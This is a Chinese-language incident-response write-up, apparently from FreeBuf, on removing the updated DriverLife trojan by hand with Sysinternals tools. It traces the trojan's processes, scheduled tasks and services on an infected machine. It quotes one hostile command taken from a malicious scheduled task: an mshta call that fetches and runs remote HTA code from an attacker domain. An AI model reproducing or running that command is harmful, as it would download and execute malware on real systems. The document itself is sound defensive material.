一、 背景介绍
驱动人生木马在1月24日的基础上再次更新,将攻击组件安装为计划任务、服务并启动。本次手工查杀主要针对该木马。
最近在应急过程中,某单位电脑感染了更新后的驱动人生木马,由于客观原因,不能安装杀毒软件进行查杀,便进行手工杀毒,整个过程真心感觉该病毒具有“春风吹又生”的特质,于是将查杀过程记录下来,希望能给小伙伴们带来帮助。
注:文中环境是根据捕获的样本复现的场景,该虚拟机处于联网状态。
文中使用的工具为:
(1) TCPView:详细的列出系统所有的TCP,UDP连接,包含本地和远程的TCP连接,https://docs.microsoft.com/zh-cn/sysinternals/downloads/tcpview
(2)Autoruns:详细的列出系统开机启动项,计划任务,服务等信息,https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns
(3)Processexplor:详细的列出系统的进程及子进程,https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
二、手工查杀
2.1 分析现象
受害主机,主要有以下现象:
1、开机后自动关机:
2、具有大量异常外连行为,企图连接服务器和感染局域网内其他机器。
2.2查杀病毒
1、使用命令,关闭自动关机。
2、使用TCPview 查看异常进程:
异常进程的PID为14600,在Process Explorer中找到该PID对应的进程并结束。
然而,结束该进程后,系统继续外连进行传播,此时的PID为110116,说明关闭进程并不能阻止病毒的传播活动,病毒文件依然存在,关闭进程后,病毒程序又会重新开启进程,因此要找到病毒文件,进行删除。
在Process Exploer中,选择PID 11016对应的进程,右键属性,可看到病毒的位置为:C:\WINDOWS\Temp\svchost.exe.
关闭占用病毒程序的进程,进入对应文件夹,尝试删除病毒文件,显示无法删除,说明此时又加载了新的进程,因此系统中可能存在相关服务或者计划任务,在不断的拉起程序。
使用Autoruns进行查看,在Filter 中输入“svchost.exe”进行搜索,结果中果然发现了病毒文件对应的自启动计划任务:
双击可看到其他计划任务:
删除该任务后,仍有大量异常连接行为,真是打不死的小强:
结束该进程,然后去删除病毒程序,还是无法删除,说明还有其他的服务在控制占用svchost.exe.
主机仍有大量外连行为,刚刚删除的计划任务又出现了,说明有相关服务重新创建了该计划任务,但在我们的搜索中却并未发现与Temp目录下svchost.exe相关的服务:
所以将每个计划任务的属性都查看一下:
运行处的内容为:
C:\WINDOWS\system32\cmd.exe/c mshtahttp://w.beahh.com/page.html?pKQCXSVR
是病毒为了创建计划任务执行远程hta代码。
删除该计划任务。
过了几分钟后,删除的Autocheck,Autoscan又死灰复燃了。
说明有其他的任务或服务在启动它们,我们查看剩余的计划任务Ddriver,WebServers:
运行处的内容为:
C:\WINDOWS\system32\cmd.exe /cC:\WINDOWS\system32\drivers\svchost.exe
查看另一计划任务:
运行处的内容为:
C:\WINDOWS\system32\cmd.exe/c C:\WINDOWS\system32\wmiex.exe
根据介绍该木马病毒的技术文章,Wmiex.exe为异常应用程序。
删除该计划任务,然后删除wmiex.exe,无法删除,说明有进程占用。
利用Process explorer查看:
关闭进程后,成功删除:
此时主机仍有大量外连行为,
查看计划任务又出现了,
说明肯定存在还未关闭的服务,上一步在计划任务中发现异常程序wmiex.exe,C:\WINDOWS\system32\drivers\svchost.exe查看是否有与该程序相关的服务,查看服务,果然有:
关闭WebServers,Ddriver服务,然后删除计划任务,在ProcessExplorer中关闭异常进程,即可成功删除svchost.exe。
MicrosoftWindows 服务的作用是让用户创建在Windows会话中可长时间运行的可执行应用程序,所以如果不关服务,删除计划任务,结束进程后,服务又会重新创建计划任务并启动程序。
关闭服务,删除计划任务,恶意程序后,杀毒成功,主机不在有大量异常外连的病毒传播行为:
三、 总结
本次手工查杀病毒过程如下:
1、使用TCPView查看异常外连行为对应的PID.
2、在Process Exploer中,找到PID对应的进程程序所在位置并关闭该进程。
3、使用Auturuns查看程序对应的服务及计划任务等,删除服务,计划任务。
4、删除病毒文件,重启电脑。
希望本文能对小伙伴们手工杀毒提供相关思路,当我们平时卸载软件,去安装目录中删除安装文件夹,但存在文件无法删除时,大家也可根据该方法,找到占用该文件的服务,计划任务或驱动程序(其他实战中遇到过)等进行删除,这样便可成功删除安装文件。
*本文原创作者:xiaoxinling,本文属于FreeBuf原创奖励计划,未经许可禁止转载
来源:freebuf.com 2020-02-01 10:00:14 by: xiaoxinling
请登录后发表评论
注册